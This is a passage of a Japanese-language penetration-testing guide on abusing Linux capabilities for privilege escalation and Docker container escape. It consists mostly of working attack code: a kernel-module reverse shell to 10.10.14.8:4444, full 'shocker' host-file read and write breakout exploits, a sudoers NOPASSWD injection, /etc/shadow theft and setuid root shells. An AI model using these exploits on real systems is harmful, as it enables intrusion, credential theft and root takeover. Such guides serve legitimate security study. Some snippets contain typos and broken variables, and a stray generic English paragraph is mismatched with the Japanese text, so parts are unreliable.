以䞋の䟋では、バむナリ python がこの機胜を持っおいたす。

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_module+ep

デフォルトでは、modprobeコマンドは䟝存関係リストずマップファむルをディレクトリ/lib/modules/$(uname -r)でチェックしたす。
これを悪甚するために、停の
lib/modules
フォルダを䜜成したしょう。

mkdir lib/modules -p
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)

次に、以䞋の2぀の䟋からカヌネルモゞュヌルをコンパむルし、それをこのフォルダにコピヌしたす。

cp reverse-shell.ko lib/modules/$(uname -r)/

最埌に、このカヌネルモゞュヌルをロヌドするために必芁なPythonコヌドを実行したす。

import kmod
km = kmod.Kmod()
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/")
km.modprobe("reverse-shell")

バむナリを䜿った䟋

次の䟋では、バむナリ kmod がこの機胜を持っおいたす。

getcap -r / 2>/dev/null
/bin/kmod = cap_sys_module+ep

これは、insmodコマンドを䜿甚しおカヌネルモゞュヌルを挿入するこずが可胜であるこずを意味したす。この特暩を悪甚しお逆シェルを取埗するための以䞋の䟋に埓っおください。

環境を䜿甚した䟋Dockerの脱出

Dockerコンテナ内で有効な機胜を確認するには、次のコマンドを䜿甚したす

capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

前の出力の䞭で、SYS_MODULEの機胜が有効になっおいるこずがわかりたす。

逆シェルを実行するカヌネルモゞュヌルず、それをコンパむルするためのMakefileを䜜成したす

{% code title="reverse-shell.c" %}

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

{% code title="Makefile" %}

obj-m +=reverse-shell.o

all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

{% endcode %}

{% hint style="warning" %} Makefile内の各単語の前の空癜文字は、タブではなくスペヌスである必芁がありたす {% endhint %}

makeを実行しおコンパむルしたす。

ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory.  Stop.

sudo apt update
sudo apt full-upgrade

最埌に、シェル内でncを起動し、別のシェルからモゞュヌルをロヌドしお、ncプロセスでシェルをキャプチャするこずができたす。

#Shell 1
nc -lvnp 4444

#Shell 2
insmod reverse-shell.ko #Launch the reverse shell

この技術のコヌドは、https://www.pentesteracademy.com/の「Abusing SYS_MODULE Capability」の実隓宀からコピヌされたした。

この技術の別の䟋は、https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-hostで芋぀けるこずができたす。

CAP_DAC_READ_SEARCHは、プロセスがファむルの読み取り、ディレクトリの読み取りず実行暩限をバむパスするこずを可胜にしたす。これは、ファむルの怜玢や読み取りに䜿甚するために蚭蚈されおいたしたが、open_by_handle_at(2)を呌び出す暩限も付䞎されたす。CAP_DAC_READ_SEARCHの暩限を持぀任意のプロセスは、open_by_handle_at(2)を䜿甚しお、マりント名前空間の倖にあるファむルにアクセスできたす。open_by_handle_at(2)に枡されるハンドルは、name_to_handle_at(2)を䜿甚しお取埗される䞍透明な識別子であるこずが意図されおいたす。ただし、このハンドルにはinode番号などの機密性の高い情報が含たれおおり、改ざんも可胜です。これは、Sebastian KrahmerによっおDockerコンテナで最初に問題が発生したこずが瀺されたしたshocker exploit。
぀たり、ファむルの読み取り暩限チェックずディレクトリの読み取り/実行暩限チェックをバむパスするこずができたす。

バむナリを䜿甚した䟋

バむナリは任意のファむルを読み取るこずができたす。したがっお、tarのようなファむルにこの機胜がある堎合、shadowファむルを読み取るこずができたす。

cd /etc
tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
cd /tmp
tar -cxf shadow.tar.gz

バむナリ2の䟋

この堎合、python バむナリにこの機胜があるず仮定したしょう。ルヌトファむルをリストするためには、次のようにしたす

import os
for r, d, f in os.walk('/root'):
for filename in f:
print(filename)

そしお、ファむルを読むためには次のようにするこずができたす

print(open("/etc/shadow", "r").read())

環境の䟋Dockerの脱出

次のコマンドを䜿甚しお、Dockerコンテナ内で有効な機胜を確認できたす。

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

前の出力の䞭で、DAC_READ_SEARCH機胜が有効になっおいるこずがわかりたす。その結果、コンテナはプロセスのデバッグができたす。

次の悪甚方法に぀いおは、https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3で孊ぶこずができたすが、芁玄するず、CAP_DAC_READ_SEARCHは蚱可チェックなしでファむルシステムをトラバヌスするこずができるだけでなく、_open_by_handle_at(2)_のチェックも明瀺的に削陀し、他のプロセスが開いおいる機密ファむルにアクセスするこずができたす。

この暩限を悪甚しおホストからファむルを読み取る元の゚クスプロむトは、ここで芋぀けるこずができたす: http://stealth.openwall.net/xSports/shocker.c。以䞋は、最初の匕数で読み取りたいファむルを指定し、それをファむルにダンプするための修正版です。

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker.c -o shocker
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir

struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};

void die(const char *msg)
{
perror(msg);
exit(errno);
}

void dump_handle(const struct my_file_handle *h)
{
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
h->handle_type);
for (int i = 0; i < h->handle_bytes; ++i) {
fprintf(stderr,"0x%02x", h->f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr,"\n");
if (i < h->handle_bytes - 1)
fprintf(stderr,", ");
}
fprintf(stderr,"};\n");
}

int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
*oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR *dir = NULL;
struct dirent *de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return 1;
}

++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}
}

fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));
if ((i % (1<<20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
return find_handle(bfd, path, &outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}


int main(int argc,char* argv[] )
{
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};

fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");

read(0, buf, 1);

// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");

if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");

fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);

if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");

memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");

printf("Success!!\n");

FILE *fptr;
fptr = fopen(argv[2], "w");
fprintf(fptr,"%s", buf);
fclose(fptr);

close(fd2); close(fd1);

return 0;
}

{% hint style="warning" %} ゚クスプロむトは、ホストにマりントされた䜕かのポむンタを芋぀ける必芁がありたす。元の゚クスプロむトでは、ファむル/.dockerinitを䜿甚しおいたしたが、この修正版では/etc/hostnameを䜿甚しおいたす。゚クスプロむトが機胜しない堎合は、異なるファむルを蚭定する必芁があるかもしれたせん。ホストにマりントされたファむルを芋぀けるには、mountコマンドを実行しおください {% endhint %}

このテクニックのコヌドは、https://www.pentesteracademy.com/の「Abusing DAC_READ_SEARCH Capability」のラボからコピヌされたした

​

​​​​​​​​​​​RootedCONは、スペむンで最も関連性の高いサむバヌセキュリティむベントであり、ペヌロッパでも最も重芁なむベントの䞀぀です。技術的な知識を促進するこずを䜿呜ずしおいるこの䌚議は、あらゆる分野の技術ずサむバヌセキュリティの専門家にずっおの掻気ある亀流の堎です。

{% embed url="https://www.rootedcon.com/" %}

CAP_DAC_OVERRIDE

これは、任意のファむルの曞き蟌み蚱可チェックをバむパスできるこずを意味したす。したがっお、任意のファむルを曞き蟌むこずができたす。

特暩を昇栌させるために䞊曞きできるファむルはたくさんありたす。ここからアむデアを埗るこずができたす。

バむナリを䜿甚した䟋

この䟋では、vimにこの機胜がありたすので、passwd、sudoers、_shadow_などの任意のファむルを倉曎するこずができたす。

getcap -r / 2>/dev/null
/usr/bin/vim = cap_dac_override+ep

vim /etc/sudoers #To overwrite it

バむナリ2の䟋

この䟋では、python バむナリにこの機胜が付䞎されたす。Pythonを䜿甚しお、任意のファむルを䞊曞きするこずができたす。

file=open("/etc/sudoers","a")
file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
file.close()

環境ずCAP_DAC_READ_SEARCHDocker脱出の䟋

次のコマンドを䜿甚しお、Dockerコンテナ内で有効な機胜を確認できたす。

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

たず、ホストの任意のファむルを読み取るために DAC_READ_SEARCH 機胜を悪甚する 前のセクションを読んでください。そしお、゚クスプロむトを コンパむル しおください。
次に、ホストのファむルシステムに 任意のファむルを曞き蟌むこずができる 以䞋のバヌゞョンのショッカヌ゚クスプロむトを コンパむル しおください。

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd

struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char * msg) {
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
h -> handle_type);
for (int i = 0; i < h -> handle_bytes; ++i) {
fprintf(stderr, "0x%02x", h -> f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr, "\n");
if (i < h -> handle_bytes - 1)
fprintf(stderr, ", ");
}
fprintf(stderr, "};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR * dir = NULL;
struct dirent * de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
oh -> handle_type = 1;
oh -> handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de -> d_name);
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
ino = de -> d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, & ino, sizeof(ino));
memcpy(outh.f_handle + 4, & i, sizeof(i));
if ((i % (1 << 20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle( & outh);
return find_handle(bfd, path, & outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc, char * argv[]) {
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {
0x02,
0,
0,
0,
0,
0,
0,
0
}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle( & h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
die("[-] open_by_handle");
char * line = NULL;
size_t len = 0;
FILE * fptr;
ssize_t read;
fptr = fopen(argv[2], "r");
while ((read = getline( & line, & len, fptr)) != -1) {
write(fd2, line, read);
}
printf("Success!!\n");
close(fd2);
close(fd1);
return 0;
}

Dockerコンテナから脱出するために、ホストから/etc/shadowず/etc/passwdのファむルをダりンロヌドし、それらに新しいナヌザヌを远加しお、shocker_writeを䜿甚しお䞊曞きしたす。その埌、sshを介しおアクセスしたす。

このテクニックのコヌドは、https://www.pentesteracademy.comの「Abusing DAC_OVERRIDE Capability」のラボからコピヌされたした。

CAP_CHOWN

これは、任意のファむルの所有者を倉曎できるこずを意味したす。

バむナリの䟋

pythonバむナリにこの機胜があるず仮定するず、shadowファむルの所有者を倉曎し、rootパスワヌドを倉曎しお特暩を昇栌させるこずができたす。

python -c 'import os;os.chown("/etc/shadow",1000,1000)'

たたは、ruby バむナリにこの機胜がある堎合:

ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'

CAP_FOWNER

これは、任意のファむルのパヌミッションを倉曎するこずができるこずを意味したす。

バむナリの䟋

もしPythonがこの機胜を持っおいる堎合、shadowファむルのパヌミッションを倉曎し、rootパスワヌドを倉曎しお特暩を昇栌させるこずができたす。

python -c 'import os;os.chmod("/etc/shadow",0666)

CAP_SETUID

これは、䜜成されたプロセスの有効なナヌザヌIDを蚭定するこずが可胜であるこずを意味したす。

バむナリを䜿甚した䟋

もしPythonがこの機胜を持っおいる堎合、特暩をrootに゚スカレヌションするために非垞に簡単に悪甚するこずができたす。

import os
os.setuid(0)
os.system("/bin/bash")

別の方法

This technique involves leveraging Linux capabilities to escalate privileges. Linux capabilities are a set of privileges that can be assigned to processes, allowing them to perform specific actions that would normally require root privileges. By exploiting misconfigurations or vulnerabilities in the system, an attacker can gain additional capabilities and elevate their privileges.

To identify processes with elevated capabilities, you can use the getcap command. This command lists the capabilities assigned to executable files. By analyzing the output, you can identify potential targets for privilege escalation.

To exploit this vulnerability, you can create a malicious executable file with the desired capabilities and replace a target executable with your file. When the target process is executed, it will inherit the elevated capabilities, allowing you to perform actions that would normally be restricted.

To prevent this type of privilege escalation, it is important to regularly review and restrict the capabilities assigned to processes. Additionally, ensure that executable files are only accessible to trusted users and regularly update the system to patch any vulnerabilities that could be exploited.

import os
import prctl
#add the capability to the effective set
prctl.cap_effective.setuid = True
os.setuid(0)
os.system("/bin/bash")

CAP_SETGID

これは、䜜成されたプロセスの有効なグルヌプIDを蚭定するこずが可胜であるこずを意味したす。

特暩を゚スカレヌションするために、䞊曞きできる倚くのファむルがありたす。ここからアむデアを埗るこずができたす。

バむナリの䟋

この堎合、任意のグルヌプになりすたすこずができるため、グルヌプが読み取るこずができる興味深いファむルを探す必芁がありたす。

#Find every file writable by a group
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file writable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file readable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null

䞀床特定のグルヌプをなりすたしお特暩を昇栌させるために、乱甚できるファむルを芋぀けたら、次の手順でシェルを取埗できたす。

import os
os.setgid(42)
os.system("/bin/bash")

この堎合、shadowグルヌプがなりすたされおいるため、/etc/shadowファむルを読むこずができたす。

cat /etc/shadow

もしdockerがむンストヌルされおいる堎合、dockerグルヌプをなりすたし、それを悪甚しおdocker゜ケットず特暩の昇栌を行うこずができたす。

CAP_SETFCAP

これは、ファむルずプロセスに察しお機胜を蚭定するこずが可胜であるこずを意味したす。

バむナリを䜿甚した䟋

もしpythonがこの機胜を持っおいる堎合、簡単に特暩を昇栌させるために悪甚するこずができたす。

{% code title="setcapability.py" %}

import ctypes, sys

#Load needed library
#You can find which library you need to load checking the libraries of local setcap binary
# ldd /sbin/setcap
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")

libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]

#Give setuid cap to the binary
cap = 'cap_setuid+ep'
path = sys.argv[1]
print(path)
cap_t = libcap.cap_from_text(cap)
status = libcap.cap_set_file(path,cap_t)

if(status == 0):
print (cap + " was successfully added to " + path)

{% code %}

python setcapability.py /usr/bin/python2.7

{% hint style="warning" %} 新しい機胜をCAP_SETFCAPでバむナリに蚭定するず、この機胜が倱われるこずに泚意しおください。 {% endhint %}

SETUID機胜を持っおいる堎合は、特暩を昇栌する方法を瀺すセクションに移動できたす。

環境を䜿甚した䟋Dockerの脱出

デフォルトでは、Dockerのコンテナ内のプロセスにはCAP_SETFCAP機胜が䞎えられたす。次のようなこずを行っお確認できたす

cat /proc/`pidof bash`/status | grep Cap
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000

apsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap

この機胜は、バむナリに他のどの機胜でも䞎えるこずができるため、このペヌゞで蚀及されおいる他の機胜の脱出を悪甚しおコンテナから脱出するこずができたす。
ただし、䟋えばgdbバむナリにCAP_SYS_ADMINずCAP_SYS_PTRACEの機胜を䞎えようずするず、それらを䞎えるこずはできたすが、その埌バむナリは実行できなくなりたす。

getcap /usr/bin/gdb
/usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip

setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb

/usr/bin/gdb
bash: /usr/bin/gdb: Operation not permitted

調査の結果、次のようなこずがわかりたしたPermitted: これはスレッドが仮定できる有効な機胜の制限付きスヌパヌセットです。たた、CAP_SETPCAP機胜を有効なセットに持たないスレッドによっお継承セットに远加される可胜性のある機胜の制限付きスヌパヌセットでもありたす。
Permitted機胜は䜿甚できる機胜を制限するようです。
ただし、DockerはデフォルトでCAP_SETPCAPも付䞎しおいるため、継承可胜な機胜に新しい機胜を蚭定するこずができるかもしれたせん。
ただし、この機胜のドキュメントによるず、_CAP_SETPCAP: [...] 呌び出し元スレッドのバりンディングセットから継承セットに任意の機胜を远加する_ずありたす。
これによるず、継承セットにはCAP_SYS_ADMINやCAP_SYS_PTRACEのような新しい機胜を远加するこずはできないため、特暩の昇栌には䜿甚できないようです。

CAP_SYS_RAWIO

CAP_SYS_RAWIOは、/dev/mem、/dev/kmem、たたは/proc/kcoreぞのアクセス、mmap_min_addrの倉曎、ioperm(2)およびiopl(2)システムコヌルぞのアクセス、およびさたざたなディスクコマンドなど、いく぀かの機密操䜜を提䟛したす。この機胜により、過去に問題が発生したこずもありたす。マニュアルペヌゞによれば、これによりホルダヌは他のデバむス䞊でデバむス固有の操䜜を蚘述的に実行するこずも可胜です。

これは特暩の昇栌やDockerの脱出に圹立぀こずがありたす。

CAP_KILL

これは任意のプロセスを終了するこずが可胜であるこずを意味したす。

バむナリの䟋

pythonバむナリにこの機胜があるず仮定したしょう。もしもあなたがいく぀かのサヌビスや゜ケットの蚭定たたはサヌビスに関連する任意の蚭定ファむルを倉曎するこずができた堎合、それをバックドアにするこずができ、そのサヌビスに関連するプロセスを終了し、新しい蚭定ファむルがあなたのバックドアで実行されるのを埅぀こずができたす。

#Use this python code to kill arbitrary processes
import os
import signal
pgid = os.getpgid(341)
os.killpg(pgid, signal.SIGKILL)

killによる特暩昇栌

もしkillの暩限を持っおおり、rootナヌザヌずしお実行されおいるたたは別のナヌザヌずしお実行されおいるnodeプログラムがある堎合、おそらくシグナルSIGUSR1を送信しお、nodeデバッガヌを開くこずができたす。

kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d

CAP_NET_BIND_SERVICE

これは、任意のポヌト特暩ポヌトでもでリッスンするこずができるこずを意味したす。この機胜では特暩を盎接゚スカレヌションするこずはできたせん。

バむナリの䟋

もし**python**がこの機胜を持っおいる堎合、任意のポヌトでリッスンするこずができ、他のポヌトに接続するこずもできたす䞀郚のサヌビスは特定の特暩ポヌトからの接続を芁求したす。

{% tabs %} {% tab title="リッスン" %}

import socket
s=socket.socket()
s.bind(('0.0.0.0', 80))
s.listen(1)
conn, addr = s.accept()
while True:
output = connection.recv(1024).strip();
print(output)

{% tab title="接続" %}

import socket
s=socket.socket()
s.bind(('0.0.0.0',500))
s.connect(('10.10.10.10',500))

{% endtab %} {% endtabs %}

CAP_NET_RAW

CAP_NET_RAWは、プロセスが利甚可胜なネットワヌク名前空間でRAWおよびPACKET゜ケットタむプを䜜成できるようにしたす。これにより、公開されたネットワヌクむンタヌフェヌスを介しお任意のパケットの生成ず送信が可胜になりたす。倚くの堎合、このむンタヌフェヌスは仮想むヌサネットデバむスであり、悪意のあるたたは䟵害されたコンテナがさたざたなネットワヌクレむダヌでパケットを停装するこずができたす。この胜力を持぀悪意のあるプロセスたたは䟵害されたコンテナは、ファむアりォヌルがパケットの皮類ず内容を制限するための察策がない堎合、䞊流ブリッゞに泚入したり、コンテナ間のルヌティングを悪甚したり、ネットワヌクアクセス制埡をバむパスしたり、ホストネットワヌキングを改ざんしたりするこずができたす。最埌に、この胜力により、プロセスは利甚可胜な名前空間内の任意のアドレスにバむンドするこずができたす。この胜力は、pingがコンテナ内からICMPリク゚ストを䜜成するためにRAW゜ケットを䜿甚するため、特暩コンテナによっおしばしば保持されたす。

**これはトラフィックを嗅芚するこずが可胜であるこずを意味したす。**この胜力を盎接䜿甚しお特暩を昇栌するこずはできたせん。

バむナリの䟋

バむナリ**tcpdump**がこの胜力を持っおいる堎合、ネットワヌク情報をキャプチャするために䜿甚するこずができたす。

getcap -r / 2>/dev/null
/usr/sbin/tcpdump = cap_net_raw+ep

泚意しおください、もし環境がこの機胜を提䟛しおいる堎合、**tcpdump**を䜿甚しおトラフィックをスニフィングするこずもできたす。

バむナリ2の䟋

以䞋の䟋は、"lo"localhostむンタヌフェヌスのトラフィックを傍受するのに圹立぀**python2**コヌドです。このコヌドは、https://attackdefense.pentesteracademy.com/のラボ「The Basics: CAP-NET_BIND + NET_RAW」から取埗したした。

import socket
import struct

flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"]

def getFlag(flag_value):
flag=""
for i in xrange(8,-1,-1):
if( flag_value & 1 <<i ):
flag= flag + flags[8-i] + ","
return flag[:-1]

s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30)
s.bind(("lo",0x0003))

flag=""
count=0
while True:
frame=s.recv(4096)
ip_header=struct.unpack("!BBHHHBBH4s4s",frame[14:34])
proto=ip_header[6]
ip_header_size = (ip_header[0] & 0b1111) * 4
if(proto==6):
protocol="TCP"
tcp_header_packed = frame[ 14 + ip_header_size : 34 + ip_header_size]
tcp_header = struct.unpack("!HHLLHHHH", tcp_header_packed)
dst_port=tcp_header[0]
src_port=tcp_header[1]
flag=" FLAGS: "+getFlag(tcp_header[4])

elif(proto==17):
protocol="UDP"
udp_header_packed_ports = frame[ 14 + ip_header_size : 18 + ip_header_size]
udp_header_ports=struct.unpack("!HH",udp_header_packed_ports)
dst_port=udp_header[0]
src_port=udp_header[1]

if (proto == 17 or proto == 6):
print("Packet: " + str(count) + " Protocol: " + protocol + " Destination Port: " + str(dst_port) + " Source Port: " + str(src_port) + flag)
count=count+1

CAP_NET_ADMIN + CAP_NET_RAW

CAP_NET_ADMINは、胜力所有者に察しお、公開されたネットワヌク名前空間のファむアりォヌル、ルヌティングテヌブル、゜ケットの蚱可、ネットワヌクむンタヌフェヌスの蚭定など、関連する蚭定を倉曎する機胜を提䟛したす。これにより、接続されたネットワヌクむンタヌフェヌスのプロミスキャスモヌドを有効にするこずも可胜であり、名前空間を暪断しおスニッフィングする可胜性がありたす。

バむナリの䟋

䟋えば、pythonバむナリがこれらの機胜を持っおいるずしたす。

#Dump iptables filter table rules
import iptc
import pprint
json=iptc.easy.dump_table('filter',ipv6=False)
pprint.pprint(json)

#Flush iptables filter table
import iptc
iptc.easy.flush_table('filter')

CAP_LINUX_IMMUTABLE

これは、inode属性を倉曎するこずが可胜であるこずを意味したす。 この機胜を盎接䜿甚しお特暩を゚スカレヌションするこずはできたせん。

バむナリを䜿甚した䟋

もし、ファむルがimmutableであり、pythonがこの機胜を持っおいる堎合、immutable属性を削陀し、ファむルを倉曎可胜にするこずができたす:

#Check that the file is imutable
lsattr file.sh
----i---------e--- backup.sh
#Pyhton code to allow modifications to the file
import fcntl
import os
import struct

FS_APPEND_FL = 0x00000020
FS_IOC_SETFLAGS = 0x40086602

fd = os.open('/path/to/file.sh', os.O_RDONLY)
f = struct.pack('i', FS_APPEND_FL)
fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)

f=open("/path/to/file.sh",'a+')
f.write('New content for the file\n')

{% hint style="info" %} 通垞、この䞍倉の属性は以䞋のように蚭定および削陀されたす。

